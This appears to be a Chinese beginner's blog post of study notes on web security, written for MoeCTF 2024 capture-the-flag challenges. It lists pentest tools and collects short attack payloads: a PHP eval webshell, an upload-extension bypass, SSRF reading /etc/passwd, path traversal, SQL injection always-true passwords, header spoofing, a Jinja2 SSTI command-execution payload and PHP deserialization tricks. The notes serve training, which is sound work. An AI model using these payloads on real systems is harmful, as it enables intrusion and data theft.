# 零基础web学习重要事项
零基础web学习重要事项
安装软件
web方向所学的软件很多,建议边学习边下载
以下是目前安装的软件及作用
- vscode 很重要的编译软件
- 蚁剑 跨平台渗透软件 目前我只能用它来输入命令
- typora 也是我现在编译markdown的软件
- burpsuite 抓包软件
- VMware Linux的虚拟机配置用
- firefox(火狐) 配合burpsuite抓包
- phpstudy 创建私有网站的应用
- cpolar web ui 将私有网站的私有地址放到公网上
- codeblocks 编译的东东
- yukit 和burpsuite功能相似
- websocket reflector 链接加密网址的
- hackbar 运行命令的插件
学习要点
(习题来源于西电ctf中的moectf2024web内容)
常见问题
-
echo $FLAG表示搜索flag并输出 -
printevn表示输出环境,可以在环境中找到flag -
/
robots.txt帮助网站控制爬虫行为 -
<?php eval($_POST[1]);?>类似于病毒代码,通过POST请求执行任意php代码,直接在对方服务器上执行任意代码 -
1=system("evn");连着上一行代码看,1是键名,本代码用途是搜索此环境 -
若有些时候上传文件是
.php格式被禁止可以先改为.jpg格式再在后面用burpsuite抓包并改为.php格式,从而绕过阻碍,直接将恶意文件送达对方服务器后端 -
url后面怎么有个
?url=file:///etc/passwd是使用ssrf攻击获取服务器上文件信息 -
import requests是发送HTTP POST 的指令的库 -
JSON一般是键对值的形式
-
此为python的脚本代码,
response = requests.post(url, json=data)表示对此url传送内容为json的指令print('Status Code:', response.status_code)为打印返回的HTTP状态print('Response JSON:', response.json())此为将内容解析为json格式并打印出来,总的内容目的是将此地址的东西执行三百次import requests url = 'http://127.0.0.1:50727/questionnaire' data = { 'nickname': 'xiaotian', 'target': '333', 'message': 'eeeeeeeeee', 'user_gender': 'male', 'target_gender': 'male', 'anonymous': 'false' } for i in range(300): response = requests.post(url, json=data) print('Status Code:', response.status_code) print('Response JSON:', response.json()) -
cookie用于辨别用户身份比如可设置cookie:user=admin -
referer表示来源页the source must be https://www.xidian.edu.cn/可以将referer修改为https://www.xidian.edu.cn/这个地址 -
please use MoeDedicatedBrowser表示代理用户要用这个所以在hackbar的应用为将user-agent改为这个 -
若提示要本地登录则修改
X-Forwarded-For修改为127.0.0.1 -
GET the parameter xt=大帅b及在url后面加?xt=大帅b -
console.log()输出,这是javascript的命令要从检查里的控制台来看
17
-
将
path值修改为../../../tmp/flag是一种典型的路径遍历攻击尝试,目的是通过操纵文件路径,访问服务器上的敏感文件(如/tmp/flag)tmp表示临时目录 -
像这种格式
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=是常见的base64格式,需要用python或其他网站进行解密 -
SQL注入是一种常见的网络安全攻击方式,攻击者通过在输入字段中插入恶意的SQL代码,试图操纵后端数据库执行非授权的操作。
-
sql注入的单引号的万能密码:1' or '1'='1
-
得到pin码后可以通过
/console访问控制台,执行各种命令 -
import os是导入python的内置模块;os.popen('cat flag').read()或os.popen('cat ../../../flag').read()来查询flag -
sql注入的邮箱密码万能公式
123@a.b' || 1=1 #或123@a.b' || true # -
Flask + Jinja2 的 SSTI 模板注入详细介绍
-
什么是 SSTI(服务器端模板注入)?
SSTI(Server-Side Template Injection)是一种安全漏洞,攻击者通过向应用程序的模板引擎注入恶意代码,从而在服务器端执行任意代码。这种漏洞通常发生在开发者将用户输入直接嵌入到模板中,而没有进行适当的过滤或转义。
-
若要求上传id可以这样传输命令
GET: ?id={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('echo $FLAG').read()}}
php语言专栏
-
php语言
if (isset($a) && isset($b))检查a和b是否都已经设置 -
php语言
if (!is_numeric($a) && !is_numeric($b))表示a和b不能是纯数字 -
php语言松散比较
==可以表示为"0" == 0;"0e123" == 0; -
php语言
if ($a == 0 && md5($a) == $b[$a])表示a要约等于零,并且a的MD5格式=b列表的第一个字符 -
class A {
// 注意 private 属性的序列化哦
private $evil = "cat /flag";// 如何赋值呢 private $a = "system";}
$a = new A();
echo urlencode(serialize($a));用这样得到url在以GET的方式上传数据,可得flag(但代码还是看不太懂)
6. . elseif (preg_match('/flag/i', $_GET['moe'])) { echo "flag6: xxx"; }
- **作用**:使用正则表达式 `/flag/i` 匹配 `$_GET['moe']` 的值。
- 行为
- `/flag/i` 表示忽略大小写的匹配。
- 如果 `$_GET['moe']` 中包含 `flag`(不区分大小写),则输出字符串 `"flag6: xxx"`
浙公网安备 33010602011771号